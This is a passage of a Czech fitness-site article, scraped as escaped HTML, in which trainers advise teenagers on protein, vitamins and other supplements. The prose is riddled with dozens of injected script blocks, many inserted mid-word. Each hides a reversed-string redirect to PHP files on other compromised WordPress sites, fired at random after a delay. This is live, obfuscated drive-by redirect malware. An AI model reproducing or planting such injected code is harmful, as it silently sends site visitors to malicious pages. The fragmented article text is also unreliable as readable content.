number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f nahl\u00ed\u017e\u00ed oni..<\/p>\n\n\n\n<p>Zdrav\u00edm \u010dten\u00e1\u0159e SV\u011aTA KULTURISTIKY,<br>suplementy jsou dopl\u0148ky stravy, a pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to by nem\u011bly nahrazovat z\u00e1kladn\u00ed potraviny. Nejprve by m\u011bl spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec m\u00edt p\u0159irozen\u00fdm zp\u016fsobem zvl\u00e1dnut\u00e9 v\u011bci, jako jsou strava, pitn\u00fd re\u017eim, tr\u00e9nink a regenerace p\u0159irozen\u00fdm zp\u016fsobem, a pak o n\u011bkolik procent t\u011blu pomoci pr\u00e1v\u011b suplementac\u00ed. U mlad\u00fdch lid\u00ed by <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to m\u011bly b\u00fdt v\u00fd\u017eivov\u00e9 dopl\u0148ky sp\u00ed\u0161e okrajov\u011bj\u0161\u00ed, jak z&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho d\u016fvodu, \u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to opravdu nepot\u0159ebuj\u00ed s&nbsp;nejr\u016fzn\u011bj\u0161\u00edmi produkty v\u016fbec p\u0159eh\u00e1n\u011bt, tak z&nbsp;finan\u010dn\u00edho hlediska.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"400\" height=\"416\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/04\/teenage1-web-e1650302687215.jpg\" alt=\"\" class=\"wp-image-649\"\/><\/figure><\/div>\n\n\n\n<p>J\u00e1 osobn\u011b bych v&nbsp;za\u010d\u00e1tc\u00edch cvi\u010den\u00ed doporu\u010dil kvalitn\u00ed proteinov\u00fd n\u00e1poj po tr\u00e9ninku, a je\u0161t\u011b jednou v&nbsp;pr\u016fb\u011bhu dne. Odleh\u010d\u00edme tak t\u00edm tr\u00e1ven\u00ed oproti vysok\u00fdm d\u00e1vk\u00e1m masa. Pokud t\u011blo u\u017e samotn\u00e9 nedok\u00e1\u017ee regenerovat, doporu\u010duji se poohl\u00e9dnout po kvalitn\u00edch aminokyselin\u00e1ch, a\u0165 u\u017e BCAA \u010di Glutamine. Nem\u011bla by chyb\u011bt ani z\u00e1kladn\u00ed vitaminov\u00e1 a miner\u00e1lov\u00e1 \u0161k\u00e1la \u2013 vitamin C, zinek, omega-3. \u010cas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to doporu\u010duji tak\u00e9 s\u00e1hnout po vitaminu D, kter\u00e9ho m\u00e1me nedostatek, nebo po ho\u0159\u010d\u00edku. A naopak s \u201ep\u0159ervan\u00fdmi\u201c nakop\u00e1va\u010di, spalova\u010di \u010di jin\u00fdmi produkty nap\u0159\u00edklad na podporu anabolismu bych byl opatrn\u011bj\u0161\u00ed.<\/p>\n\n\n\n<p>Co se t\u00fd\u010de dal\u0161\u00edch dopl\u0148k\u016f, jako jsou nap\u0159. proteinov\u00e9 ty\u010dinky, ara\u0161\u00eddov\u00e1 m\u00e1sla, lyofilizovan\u00e9 ovoce atd., tak up\u0159\u00edmn\u011b t\u011bch<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u011bc\u00ed bych se v\u016fbec neb\u00e1l.<\/p>\n\n\n\n<p>V&nbsp;z\u00e1v\u011bru bych se r\u00e1d vr\u00e1til k&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, co zazn\u011blo \u00favodem. Je d\u016fle\u017eit\u00e9 m\u00edt zvl\u00e1dnut\u00e9 v\u0161echny v\u011bci na 100 % a nespol\u00e9hat na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee dopl\u0148ky <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to odmakaj\u00ed za m\u011b.&nbsp; M\u00edt spr\u00e1vn\u011b nastavenou hlavu a v\u0161e p\u016fjde tak, jak chceme.  S&nbsp;pozdravem  <\/p>\n\n\n\n<p>Filip \u0160teflovi\u010d (CHEVRON NUTRITION)<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>Tom\u00e1\u0161 Novotn\u00fd, z&nbsp;tren\u00e9rsk\u00e9 \u0161koly OLYMPIA rad\u00ed\u2026<\/strong>U\u017e\u00edv\u00e1n\u00ed dopl\u0148k\u016f stravy v&nbsp;obdob\u00ed dosp\u00edv\u00e1n\u00ed je v&nbsp;dne\u0161n\u00ed dob\u011b \u017eiv\u00e9 t\u00e9ma. Jedni doporu\u010duj\u00ed se suplement\u016fm zcela vyh\u00fdbat, druz\u00ed je pova\u017euj\u00ed za samoz\u0159ejmost. O \u010dem u\u017e se ale <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik nemluv\u00ed, je pestr\u00e1 a vyv\u00e1\u017een\u00e1 strava v&nbsp;dostate\u010dn\u00e9m mno\u017estv\u00ed. Ta <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e dosp\u00edvaj\u00edc\u00edm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm m\u016f\u017ee pomoci mnohem v\u00edce ne\u017e za\u0159azen\u00ed prakticky jak\u00e9hokoliv dopl\u0148ku stravy.<\/p>\n\n\n\n<p>Pakli\u017ee se strava teenagera \u0159\u00edd\u00ed z\u00e1kladn\u00edmi principy pestr\u00e9 a vyv\u00e1\u017een\u00e9 v\u00fd\u017eivy, je mo\u017en\u00e9 uva\u017eovat o dopl\u0148c\u00edch stravy. Pozornost mlad\u00fdch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f by m\u011bla sm\u011b\u0159ovat prim\u00e1rn\u011b ke kvalitn\u00edm vitamin\u016fm a miner\u00e1ln\u00edm l\u00e1tk\u00e1m, kter\u00e9 mohou b\u00fdt u\u017eite\u010dn\u00e9 zvl\u00e1\u0161\u0165 p\u0159i zv\u00fd\u0161en\u00e9 fyzick\u00e9 z\u00e1t\u011b\u017ei. Pokud teenage\u0159i absolvuj\u00ed n\u00e1ro\u010dn\u00e9 spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed tr\u00e9ninky, je mo\u017en\u00e9 zv\u00e1\u017eit u\u017e\u00edv\u00e1n\u00ed proteinov\u00e9ho n\u00e1poje nebo kvalitn\u011b sestaven\u00e9ho gaineru, kter\u00fd pom\u016f\u017ee mlad\u00fdm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm doplnit \u017eiviny po n\u00e1ro\u010dn\u00fdch tr\u00e9ninc\u00edch. V&nbsp;ka\u017ed\u00e9m p\u0159\u00edpad\u011b je vhodn\u00e9 pova\u017eovat spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 